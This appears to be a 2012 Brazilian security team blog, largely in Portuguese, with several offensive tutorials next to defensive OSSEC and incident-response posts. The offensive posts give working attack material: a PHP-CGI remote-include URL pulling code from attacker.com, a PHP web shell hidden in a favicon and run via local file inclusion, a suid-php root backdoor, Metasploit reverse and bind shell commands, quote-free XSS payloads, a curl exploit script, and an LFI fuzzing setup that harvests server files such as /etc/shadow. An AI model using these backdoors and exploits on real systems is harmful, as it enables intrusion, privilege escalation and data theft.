quarta-feira, 10 de outubro de 2012

[DcLabs] - Executando o BackTrack 5 no Android


Este paper foi inspirado na palestra “Hacking from the Restroom” do pesquisador brasileiro Bruno Gonçalves apresentado na conferência de segurança “HITB MALAYSIA” em 2009; e baseado no projeto “Linux on Android”.
Vamos mostrar como é possível executar o BackTrack em seu smartphone e utilizá-lo para realizar um pentest básico onde seu notebook não pode ir com você.

O paper e demais arquivos necessários podem ser acessados por este link: https://docs.google.com/open?id=0B8FxJ0KnE3nrUWdrRVBVYUZLdjQ



By: Rêner Alberto (Gr1nch)
Twitter: @Gr1nchDc
irc.freenode.net /j #DcLabs

quinta-feira, 23 de agosto de 2012

Backdoor PHP Favicon/Imagens - Web Shell Root

Bom pessoal, vou iniciar este post esclarecendo algumas coisas:

A alguns dias foi levantada uma discussão sobre LFI´s e RFI por causa da falha do PHP CGI.
Resumindo, ao se fazer um RFI nesta falha pouco importa qual seja a extensão do arquivo incluído, podendo ser .txt, .gif, .jpg, .ico ou té mesmo .php, desde que, o servidor onde o arquivo .php esteja hospedado não faça interpretação.

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.txt

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.gif

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.php

Como mencionei, no 3 exemplo o servidor attacker não pode ter/fazer interpretação de arquivos .php
Mais pra baixo vou explicar porque o extensão não faz diferença.

Vamos ao que interessa:

A ideia aqui é implantar um backdoor acessá-lo através de LFI de uma forma não muito usual.
Para isto vamos usar o Favicon, ele foi escolhido pois fiz vários testes com figuras e muitas apresentaram problemas de execução do código devido ao caracteres utilizados a formação da imagem, já a Favicon é bem simples e possui poucos caracteres, diminuindo assim a possibilidade de problemas de execução.

Criei um favicon neste site, bem simples, apenas escrito DC com letras azuis.
   


Vamos dar uma olhada nele no editor hexa:




























No Chrome ele é exibido no canto esquerdo superior  da aba:








No IE ele fica na barra de endereços:










Acesso direto:













Agora vamos altera-lo e acrescentar a seguinte linha:
<?php system($_GET['cmd']; ?> Que efetivamente vai ser nosso backdoor.
Você pode trocar a função system pela sua de preferencia.











Ao fazer o request novamente, ele continua a ser visualizado sem problemas, mesmo depois do código PHP ter sido acrescentado. Até ai tudo ok!




















Agora fazemos o include do arquivo e passamos os comandos:
http://srvlfi.dc/lfi.php?inc=favicon.ico&cmd=id












Depois disso tudo, vamos entender o porque isso acontece:

A função include (e similares) do PHP, ignoram complemente a extensão do arquivo e joga todo seu conteúdo para dentro do .php base, neste caso o lfi.php, então, oque interessa é somente o conteúdo do arquivo. O PHP por sua vez ao encontrar um novo <?php, executa o código até encontrar ?>, ou seja, o final das instruções PHP para aquele bloco de código.

O problema de usar esta técnica é o lixo exibido na tela, justamente pelo comportamento das funções de include, que jogam o conteúdo do arquivo até achar os marcadores do PHP.


Outro ponto importante seria utilizar cookies para passar os comandos para o PHP, assim, seria evitado que os comandos fossem enviados por GET ou POST e poluindo ainda mais o Log do servidor.







Log sem cookie:  [23/Aug/2012:08:59:38 -0300] "GET /lfi.php?lfi=oi2.gif&cmd=uname%20-a HTTP/1.1" 200 384 "-" "Mozilla/5.0

Log utilizando comando por cookie:  [23/Aug/2012:09:01:13 -0300] "GET /lfi.php?lfi=oi.gif HTTP/1.1" 200 384 "-" "Mozilla/5.0

O código para esta implementação é bem simples:

setcookie("cmd_cookie", "id");
system($_COOKIE["cmd_cookie"]);

Basta alterar o valor do cookie com sua ferramentas preferida.

Fazendo uma pesquisa rápida junto com o Psylon, encontramos este Post, que fala sobre adicionar código php em imagem, porém, é necessário adicionar informação no htaccess. Esta linha irá fazer com que o interpretador do php entende que arquivos .jpg também sejam interpretados.

root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess

Agora partindo so suposto que que isso tudo que fizemos é um pós exploitation e que o pesquisador acima fez alterações em arquivos foi feito o seguinte:

Setado um suid no binário do php

chmod 4755 /usr/bin/php5 (o endereço pode/vai variar de acordo o sabor do linux)

root@srvlfi:/var/www# ls -al /usr/bin/php5
-rwsr-xr-x 1 root root 7463060 2012-02-11 05:07 /usr/bin/php5

Criado um icone com nome de suid.ico com o seguinte código(claro, no final do arquivo depois do código do próprio ícone):

<?php
posix_seteuid(0);
passthru($argv[1]);
?>


Neste caso foi utilizada a variável $argv[1] para receber o valor, pois mesmo com suid no binário do php não possível elevar o privilégio utilizado a posix_seteuid, devido a arquitetura e proteções empregadas(nem sempre foi assim), então, para contornar, a ideia foi fazer a própria backdoor executar o binário suid do php passando o caminho do ícone maligno jutamente com comando a ser executado como root. Como podem ver na abaixo, logo $argv[1] tem o valor id;uname -a
 
 http://srvlfi.dc/oi.php?cmd=/usr/bin/php5%20/var/www/suid.ico%20%22id;uname%20-a%22

Obs: Para comandos com argumentos por exemplo uname -a, é necessário utilizar aspas duplas, para indicar que o comando é apenas um, caso contrário, o php irá entender que "-a" é o terceiro argumento do array - $argv[2]

E sim, TERCEIRO argumento, caso tenha dúvida consulte o link de $argv[1].









Outra dica é: Caso o código do seu backdoor esteja ficando grande, use as funções de enconding base64 e a função eval do php.


Espero ter contribuído.

Thanks to: @l0c4lh05t  - @gmlnet
Me: @crashbrz



terça-feira, 7 de agosto de 2012

Resultado dos testes com Psafe Protege AntiVirus


O Psafe Protege mesmo?

Bem, inicialmente gostaria de dizer que esta pesquisa em momento algum quis comparar o Psafe com qualquer outro AV. do mercado.

Detalhe da pesquisa:

Sistema Operacional utilizado: Windows 2003 Server R2
AV: Psafe Protege
Software Adicional: IIS6 (Apenas para testes com webshells)

Abaixo a tabela  com os testes realizados:

WebshellsEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
ASPTexto PlanoNãoNãoNãoNão
ASPXTexto PlanoNãoNãoNãoNão
JSPTexto PlanoNãoNãoNãoNão
PerlTexto PlanoNãoNãoNãoNão
PHPTexto PlanoNãoNãoNãoNão
CFMTexto PlanoNãoNãoNãoNão
Executaveis MetaSploitEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?Comando:
Sample1 Bind na porta 6666NãoNãoNãoNãoNãomsfpayload windows/shell_bind_tcp LPORT=6666 X > /tmp/msf_sample1.exe
Sample 2 Reverse Shell porta 6666NãoNãoNãoNãoNãomsfpayload windows/shell_reverse_tcp LHOST=172.16.0.1 LPORT=6666 X > /tmp/msf_sample2.exe
Sample 3 Arbitrary Command ExecNãoNãoNãoNãoNãomsfpayload windows/exec CMD=calc.exe X > /tmp/msf_sample3.exe
Ferramentas para DoSEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
SlowLorisTexto PlanoNãoNãoNãoNão
LoicTexto PlanoNãoNãoNãoNão
IRC Bots (Perl)EncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
AlphaNix 2.0Texto PlanoNãoNãoNãoNão
ScaneTexto PlanoNãoNãoNãoNão
SexiTexto PlanoNãoNãoNãoNão
ShellbotTexto PlanoNãoNãoNãoNão
Samples EICAR.orgPackingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
eicar.comNãoNãoNãoNãoSim
eicar.com.txtNãoSimNãoN \ ASim
eicar_com.zipNãoCompactadoNãoN \ ANão
eicarcom2.zipNãoCompactadoNãoN \ ANão

Os teste foram realizados entre os dias 06 e 07 de agosto, 2012.

No dia 06 o sample1 do MetaSploit não tinha sido encontrado, já no dia, 07 ele foi encontrado(Trojan.Generic) e removido, porém, somente com manual scan. Os binários gerados no Metasploit ao serem executados abriram portas,  realizaram conexões com a internet e executaram comandos e mesmo assim não geraram alertar algum do Psafe. Outro problema grande foi que após a detecção do msf_sample1.exe, geramos novamente, porém, alterando a porta para 6667 e não foi detectado.

Testamos vários malwares voltados a roubo de senhas bancárias e afins, o índice de detecção foi baixo. Dos 35 samples analisados, apenas 7 foram detectados.

Dos detectados, utilizamos o que possui assinatura:  HEUR/Malware.QVM20.Gen para mais alguns testes:

- Não foi detectado na gravação.
- Foi detectado mesmo trocando a extensão.

Ao utilizarmos um compactador de binários simples (Aspack) o malware parou de ser dectado no Scan manual e foi removido apenas o .bak gerado pelo Aspack.

Outro ponto importante, não há verificação de endereços  Web maliciosos, durante a pesquisa visitamos vários sites conhecidos por distribuição de malwares e nenhum alerta foi gerado.

Conclusão:

O AV se mostrou ineficaz em seu propósito, apresentando um baixo índice de detecção de malwares, especialmente os mais populares no Brasil que permitem o acesso a contas bancárias e podem gerar prejuízos diversos para a maioria dos usuários da Internet no País. 

O fato é agravado pela empresa posicionar o seu produto como “o único antivírus completo e totalmente gratuito que existe, podendo levar o usuário doméstico a entender que existe um nível de perfeição quando comparado aos concorrentes, algo que não corresponde a realidade obtida nos testes realizados.  

---------------------------------------------------------------------------------------------------------

Esta pesquisa foi feita em conjunto com  Gabriel Lanzi (Psylon) @gmlnet
Gostaria de agradecer ao Fio (@fiocavallari @BrauvonHacker ) pela ajuda com os Samples e ao amigo   Lincoln Werneck (@lincolnwerneck)  do Instituto Coaliza (@Coaliza) na redação deste post.

domingo, 5 de agosto de 2012

Xss sem aspas


Bom dia senhores,


Segue aqui um Xss interessante que achei no forum:  http://www.garage4hackers.com/f11/unusual-xss-payload-2522.html 


Vou fazer uma pequena análise no payload utilizado.

 Abaixo o código: 



alert(String(/DcLabs/).substr(1,6) ); 


Note que é a usado o String para definir a string que vamos utilizar. O texto precisa necessariamente estar entre / / justamente para evitar as aspas, logo após é utilizada a função Substr, aqui ela irá extrair a string Dclabs removendo as // . 


Funcionaria sem esta função, mas as barras seriam exibidas no alert ou onde você injetasse o código, e isso poderia causar problemas.


Caso queira utilizar uma string maior, será necessário alterar o deslocamento no substr. Sempre uma posição a mais no inicio e uma a menos no final da string utilizada, evitando assim as //. 


Já este, utiliza o objeto sessionStorage(que serve pra guardar informações da navegação entre janelas ou tabs.) e controles de erro para exibir o alert.
(sessionStorage[!-1]=alert(123))(!-1)

Neste caso, com a ideia é não usar aspas:


(sessionStorage[!-1]=alert( String(/DcLabs/).substr(1,6) ) )(!-1)



Ok! Temos um Xss sem aspas! (: 

segunda-feira, 5 de março de 2012

[DcLabs] Slowloris e outras ferramentas do Anonymous infectadas por malwares

Slowloris e outras ferramentas do Anonymous infectadas por malwares A pesquisa disponibilizada pela Symantec mostra que uma das ferramentas utilizadas pelo Anonymous foi modificada com o malware Zeus. As figuras abaixo comparam as características do arquivos disponibilizados em maio de 2011 e janeiro de 2012 durante a operação Megaupload com cerca de 26000 views e 400 tweets.

  img No Brasil novos membros contam com vários pacotes para iniciantes contendo todas as ferramentas necessárias para os ataques de DDoS e instruções de uso.

    
 Analisando o conteúdo do pacote identifiquei que 28 dos 42 arquivos são malwares.
 

 Como uma grande parte dos integrantes são newbies(novatos) suas máquinas acabam não só servindo como zumbis "voluntários" para os propósitos hacktivistas,mas elas podem estar sendo utilizadas também para ações do cybercrime. Leia mais: Anonymous Supporters Tricked into Installing Zeus Trojan The Anatomy of an Anonymous Attack

--
Alexandro Silva (Alexos)
DcLabs Security Team

sexta-feira, 2 de março de 2012

Configurando chaves de autenticação dos agentes no Ossec

O modo tradicional para configurar as chaves de autenticação dos agentes no Ossec server é sustentável até 5 servidores em média. Para facilitar esta tarefa Daniel Cid criou o daemon ossec-authd, responsável por gerenciar as chaves de autenticação dos agentes no servidor usando um certificado digital. NO OSSEC SERVER Execute os seguintes comandos para gerar o certificado:
#openssl genrsa -out /var/ossec/etc/sslmanager.key 2048 Generating RSA private key, 2048 bit long modulus .........................................................................+++ ...................................................................................................................................+++ e is 65537 (0x10001)
#openssl req -new -x509 -key /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert -days 365 ----- Country Name (2 letter code) [AU]:BR State or Province Name (full name) [Some-State]:Bahia Locality Name (eg, city) []:Salvador Organization Name (eg, company) [Internet Widgits Pty Ltd]:Alexos Core Labs Organizational Unit Name (eg, section) []:IT Common Name (eg, YOUR name) []:debian Email Address []:alexos@acme.com
Inicie o ossec-authd
#/var/ossec/bin/ossec-authd -p 1515 >/dev/null 2>&1 &
#netstat -at | grep 1515 tcp 0 0 *:1515 *:* LISTEN
NO OSSEC AGENT OBS: Antes de compilar o agente instale o pacote libssl-dev ( Debian ) ou openssl-dev ( CentOS ) evitando assim a mensagem erro abaixo.
ERROR: Not compiled. Missing OpenSSL support.
Execute o seguinte comando para iniciar a autenticação:
#/var/ossec/bin/agent-auth -m 192.168.0.1 -p 1515 2012/03/01 20:28:12 ossec-authd: INFO: Started (pid: 10988). INFO: Connected to 192.168.0.1:1515 INFO: Using agent name as: debian INFO: Send request to manager. Waiting for reply. INFO: Received response with agent key INFO: Valid key created. Finished. INFO: Connection closed.
Reinicie o servidor e o agente:
invoke-rc.d ossec restart ( Debian )
ou
service ossec restart ( CentOS )
Confirme a comunicação usando o agent_control no servidor
#/var/ossec/bin/agent_control -l OSSEC HIDS agent_control. List of available agents: ID: 000, Name: debian (server), IP: 127.0.0.1, Active/Local ID: 1024, Name: debian, IP: any, Active
Referência

--
Alexandro Silva (Alexos)
DcLabs Security Team

terça-feira, 28 de fevereiro de 2012

Configurando o agente do Ossec HIDS no Windows server

A instalação do Ossec no Windows é bastante intuitiva porém alguns ajustes são necessários para garantir sua total eficiência. Após conclui-la é necessário registrar o host no Ossec Server permitindo assim a comunicação entre ambos. No servidor execute os seguintes passos
 Execute o manage_agents

/var/ossec/bin/manage_agents
**************************************** *
OSSEC HIDS v2.6 Agent manager.
* *The following options are available:
* ****************************************
(A)dd an agent (A).
(E)xtract key for an agent (E).
(L)ist already added agents (L).
(R)emove an agent (R).
(Q)uit. Choose your action: A,E,L,R or Q: [ Digite A para adicionar um agente ] - Adding a new agent (use '\q' to return to the main menu).
Please provide the following:
* A name for the new agent: teste [ Digite o nome do agente ]
* The IP Address of the new agent: xxx.xxx.xxx.xxx [ Digite o IP do agente ]
* An ID for the new agent[001]: [ Pressione ENTER ou informe um ID ] Agent information: ID:001 Name:W2k3 IP Address:192.168.0.2
Confirm adding it?(y/n): y [ Digite 'y' ] Agent added.

**************************************** *
OSSEC HIDS v2.6 Agent manager.
* * The following options are available:
* ****************************************
(A)dd an agent (A).
(E)xtract key for an agent (E).
(L)ist already added agents (L).
(R)emove an agent (R).
(Q)uit. Choose your action: A,E,L,R or Q: E [ Digite 'E' para obter a chave do agente ]
Available agents: ID: 001, Name: teste, IP: 192.168.0.2
Provide the ID of the agent to extract the key (or '\q' to quit): 001 [ Informe o ID do agente ]

Agent key information for ’001′ is: [ Guarde esta chave para adicionar na configuração do agente ] MDAxIHRlc3RlIDE3Mi4xNi4wLjYgZmRkMDRiM2EyNThlYWM0ZWQ5ODU1NWZmNGY0NjM3YTVjMDI2MzA5NTg1Y2M5NjgyODczNjIxMTdiMzhlZWFlYw==

Reinicie o Ossec Server
/var/ossec/bin/ossec-control restart
Adicione no agente o ip do Ossec Server e a chave gerada anteriormente.
 Por padrão o agente do Windows faz a leitura dos logs do 1o virtual host ( W3SVC1 até W3SVC254 para WEB, MSFTPSVC1 até MSFTPSVC254 para FTP e SMTPSVC1 até SMTPSVC254 para SMTP). Está configuração padrão não atente na maioria dos casos, por isso é necessário ajustar tanto o IIS quanto o Ossec. NO IIS Execute os seguintes passos em todos o VHOSTS existentes tanto para WEB quanto para FTP 1 - Marque as opções 1 e 2 como mostra a tela abaixo:

img1
 Guarde o caminho do arquivo de log ( LOG FILE NAME ) que na imagem acima é W3SVC767321757\exyymmdd.log. Iremos adicionar está informação no arquivo de configuração do agente. 2 - Clique na aba AVANÇADO marcando todas as opções existentes.

  img2

  NO AGENTE DO OSSEC 1 - Inicie o Agent Manager e clique em VIEW -> VIEW CONFIG Adicione a seguinte XML TAG no final do arquivo informando os diretórios apresentados anteriormente pelo IIS. Repita toda a TAG para cada diretório.
<!-- IIS log file -->
<ossec_config>
  <localfile>
    <location>C:\WINDOWS\System32\LogFiles\W3SVC767321757\ex%y%m%d.log</location>
    <log_format>iis</log_format>
  </localfile>
</ossec_config>
Após executar os passos acima reinicie o agente acompanhando seu log e os alertas.

 -- Alexandro Silva (Alexos)

domingo, 8 de janeiro de 2012

RIPS 0.51: Basic analysis


 Fiz alguns testes na ferramenta, ele se comportou bem,  inclusive com sistema de porte maior.
Analisei com aplicações entre 1 e 1200 arquivos, acima de 100 achei  performance um pouco degradada, testei em uma maquina core i5/6GB, o Rips faz o httpd consumir cerca de 25% de processamento.

São vários níveis de scaneamento e é possível  escolher a varredura  Server side e Client, além de ser possível procurar por falhas especificas


O que achei bem interessante, foi que ele mostra em tempo real qual arquivo esta sendo scaneado, a quantidade de arquivos scaneados/total, número da linha e uma estimativa de término. Esta estimativa não funciona muito bem, mas já ajuda.















O modo como a falha é exibida é bem intuitiva, com links e referências para  funções, além de sugerir as devidas correções.























O Exploit Creator funciona, porém, ele se perde em relação a utilização de sub-diretórios. Como podem ver na imagem, o campo url não é preenchido como deveria. A alteração pode ser feita nesta tela mesmo ou  no código fonte depois que o exploit é gerado.














Neste caso, é solicitado um valor para a variável "a", que seria o comando a ser executado, o exploit gerado ficaria, vamos dizer, "engessado",  mas como é php, as alterações para torna-lo funcional são simples.

Depois do Poc gerado,  pasta alterar o comando da var "a" por  $argv[2]  ou  caso vá usa-lo via web, $_GET['cmd']


Segue um exemplo:

<?php
#
# t.php curl exploit
#

//
// HTTP GET,
//

$target = $argv[1];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/t.php?a=$argv[2]");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "DcLabs)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>

A linha de comand para execução seria assim:

php -q exploit.php localhost/teste/ <comando>

Ou caso o path tenha sido ajustado antes da criação do exploit:

php -q exploit.php localhost <comando>


Para utilização do exploit é necessário habilitar a extensão curl no php.ini

extension=php_bz2.dll
extension=php_curl.dll
;extension=php_dba.dll
extension=php_mbstring.dll
extension=php_exif.dll

Em sistemas com numero maior de arquivos a serem analisados é necessário alterar o parâmetro memory_limit  também  no php.ini.
Evidentemente que isso vai depender da quantidade de memória da máquina onde o rips está sendo executado.


Bom pessoal, foi uma analise bem superficial mesmo,  caso eu tenha novidades posto novamente.

terça-feira, 3 de janeiro de 2012

Acunetix LFI Pos Exploitation - Downloading Files Structure Part 1 (En-Us)


Hi folks!

In this article we will show a very interesting feature of Acunetix: the HTTP fuzzer. In addition to be used as a fuzzer  for web applications and the HTTP protocol itself, it can also be used to effectively exploit a common security flaw: Local File Include or LFI for short. If you are not familiar with this bug, a reference can be found at the end of this document.

Let's get it started: The feature can be located on the left side of Acunetix main screen, as shown below:



Understanding the fuzzer and setting the url:

We will not use the fuzzer as a scanner, the idea here is to use the fuzzer to extract as much information as possible from the target host.

On the Fuzzer's main screen is shown a typical HTTP request

GET http://hostname/path HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Accept: */*


We will use this space to set up our request in order to exploit the LFI, moreover, as the field is free to edit, we can add and/or change the headers. At this point you should already know the URL of LFI, as exemplified below:

GET http://lfi.dc/lfi.php?pag= HTTP/1.1
User-Agent: Mozilla/4.0 (DcLabs)
Accept: */*

Therefore, to explore the LFI the url http://lfi.dc/lfi.php?pag= should be used, where "pag" is the vulnerable variable. The value of User-Agent field was changed only to show that the headers can be changed/added without any problems.



Creating and configuring the Generators


As this is a fuzzer, of course it must generate strings, integers, repeated chars and other functions, but as stated above, we will not scan or fuzzer or anything, thus let's take a new role for the generators, we need first to create two generators, of course more complex attacks will require more generators.


Character generator File and repeater

As its name implies, the Character repeater will repeat a character or string as many times as we want. So let's fill in the fields for the creation, use intuitive names for each generator, when you have several, knowing what they do can be really tricky. The default name generated by Acunetix is Gen_N, where N is a sequential number.

Name: dotslash => Intuitive Name
Character / String: .././ => If you do not know why we are using the string "../../", I suggest you to read the LFI reference.
Initial count: = 1> Will start the process with the given string ../../
Final count: 2 => Maximum repetitions for the string ../../
Increment: 1 => string increment counter
Encoding: None

This generator was set to a classic LFI attack, so, the field Initial count must be configured according to the amount of "dotslashs" found to exploit the bug. No need to encode the string in this case, so the Encoding field is set to None. Use of base64encoding and URL is a good option to evade possible filters. The second generator (File Generator) will read information from a txt or xml file line by line, so we will use a list of filenames that probably exist in the server attacked.
A simple idea to create this list is to run this command on several linux  flavors with a lot of installed applications, such as Apache, mysql, wordpress, Cacti, Nagios, Oracle and others.

find / -type f > wordlist.txt

The wordlists then was appended and removed identical lines, additionally, the leading "/" was removed too because the string "../../" was used.

Completing the fields of this generator:

Name: filenames_wordlist => Intuitive Name
Fileaname: wordlist.txt => Wordlist name
Filetype: txt => Wordlist extension
Encoding: none => No need this time




After the generators were properly both, created and configured, you must add them to the HTTP request:

Position the cursor just after pay= select the generator dotslash and click Insert Into Request, repeat the process for filenames_wordlist.
The result should be something like this:

GET http://lfi.dc/lfi.php?pag=${dotslash}${filenames_wordlist} HTTP/1.1
User-Agent: Mozilla/4.0 (DcLabs)
Accept: */*

Before starting the operation, it is interesting to notice that the filters are designed to separate only relevant results of the attack. This can be created by Fuzzer Filters. Acunetix brings two filters by default, Include Internal Server Error and Invalid username / password combination, the second filter for LFI case is not necessary, just mark and delete it.

Creating and configuring filters:

Rule Description: Failed to open => intuitive name for the filter
Rule type: Exclusion => If the request matches the rule, it will be removed from the report

Apply to: Response => Where the rule will make the match, in which case it will look the string's size in any response sent by the server.
Regular Expression: failed to open stream => This field is populated with the string that will match with the response from the server and removed from the final report, I chose the string "failed to open stream" because it is a generic PHP error when a file is not found, have no access permission or any other reason why the file can not be read:

Permission error:Warning: include(../../../etc/shadow) [function.include]: failed to open stream: Permission denied in /var/www/t.php on line 6

Warning: include() [function.include]: Failed opening '../../../etc/shadow' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/t.php on line 6

File not found:Warning: include(../../../etc/dclabs) [function.include]: failed to open stream: No such file or directory in /var/www/t.php on line 6

Warning: include() [function.include]: Failed opening '../../../etc/dclabs' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/t.php on line 6

imagem4

Therefore, many possibilities will be filtered with a single rule, once done, click Add.
If you need to change the rule, select the desired rule and click update.


Remembering that this rule was made to handle a generic PHP error. Codes where the treatment is done by the programmer are likely to be found, your filter must be adjusted according to the error message returned by the application on this cases.

Ok, now just click on start and reap the files found on the target server.

There's other trick that I will show in the next post. I decided to split in two parts so that the article does not become tiring.

The HTTP Fuzzer is part of the free version of Acunetix.
I made also a video showing the tool running with a smaller wordlist: http://youtu.be/z357C_8H3Mc

The next step, in addition to Part 2, is to write a code that does this same job integrated with Metasploit.

LFI referencehttp://hakipedia.com/index.php/Local_File_Inclusion

Any questions #dclabs @ freenode
Twitter: @crashbrz
Thank's all for english revision
Cya folks!


domingo, 1 de janeiro de 2012

Como sobreviver aos ataques de "hacktivistas" e pichadores virtuais de plantão

Em 2011 as atividades hackers foram bastante divulgadas e passaram de mera brincadeira de jovens desocupados para ações "organizadas" com cunho político libertário. Os grupos que ganharam um rápido prestigio foram o Anonymous e LuLzSec, uma boa parte do marketing em cima das ações destes grupos ficou a cargo das redes sociais, pastebin e do youtube. A partir dai novas facções como AnonymousBR, iPiratesGroup, LuLzSecBR, GreyHatBR, AntiSecBR e alguns pichadores virtuais  foram surgindo em busca de seus 15 min de fama. Analisando os resultados divulgados não é dificil entender o porque de tanto sucesso. Identifiquei erros simples como senhas fracas no ambiente de administação do sites ( e.g. admin@dominio/manager ) e muito mas muito SQLi e Blind SQLi. Abaixo passo algumas dicas de como sobreviver após o comprometimento de sua infra-estrutura e como mitigar as falhas.




1 - Web Backdoors

 Os web shells[1] [2] permitem o acesso ao ambiente comprometido mesmo após corrigidas as falhas. Estudar o código destas ferramentas facilita sua detecção e remoção. Nestes casos um AV ajuda muito tanto no Ambiente Windows quanto no Linux, mas muito cuidado pois nem todos os AVs são capazes de detectar web backdoors bastantes conhecidos ( e.g Symantec ). Uma forma de validar a varredura é fazendo buscas manuais: No Linux

grep -RPl --include=*.{php,txt,asp} "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" /var/www/
No Windows Usando a ferramenta de busca procure pelas palavras acima.

 2 - Análise do alvo

 Após o incidente é muito importante entender quais foram as vulnerabilidades que permitiram a invasão. Ferramentas para análise de vulnerabilidades como o Nessus, Arachni, Uniscan, Acunetix são de fundamental importância, pois elas indicam as possíveis portas de entrada e facilitam a criação do plano de mitigação. Auditar o banco de dados é de extrema importância já que entradas indevidas podem ser adicionadas ( e.g contas fantasmas), e alguns lixos do ataque.



3 - Proteção extra e monitoramento
Aplicar uma camada a mais de segurança permite dificultar as tentativas de ataque não permitindo a varredura em busca de vulnerabilidades e portas abertas. Não deixe essa responsabilidade somente a cargo da ferramenta de proteção de borda ( e.g IPS ), por ela ser baseada em Pattern matching nem todos os ataques serão bloqueados e muito cuidado com os falsos positivos já que uma aplicação com falha no código fará com que o IPS entenda qualquer requisição como maliciosa, auditar todos os alertas muitas vezes sem bloqueá-los é o mais recomendado. O Ossec juntamente com o Splunk, Portsentry, Samhaim e o ModSecurity são ferramentas que auxiliam bastante nesta tarefa. Outro hábito pouco utilizado é a análise dos logs, uma simples busca por palavras como Nikto, Havij, perl, whitehat, Uniscan, acunetix, fuck, scanner, timthumb, pma, phpmyadmin nos logs do Apache e do IIS permitem identificar algumas tentativas de ataque.




4 - Atualização e restrição de acesso 
Manter o ambiente atualizado é uma boa prática pouco utilizada muito mais por medo principalmente quando o ambiente é de alta criticidade ( e.g SGBDs ). Nos ambientes Linux o cron-apt (Debian e derivados) e o Spacewalk (RedHat e derivados) ajudam muito, os sistemas Windows contam com o velho WSUS que geralmente fica esquecido sem a devida atenção. Restringir o acesso aos ambientes administrativos do site ( e.g wp-admin, admin, administration ) e o FTP evitando assim ataques de brute-force, outra boa prática é a utilização de senhas fortes, isto soa bastante clichê, porém após analisar algumas áreas administrativas encontrei senhas ridiculas de acesso. Conclusão Estas dicas apenas mostram o caminho a ser seguido. Experiência, bom senso e estudo continuo são fatores que diferenciam na resolução dos incidentes e na prevenção.


 Última dica: FERRAMENTAS FALHAM.


Post by: @alexandrosilva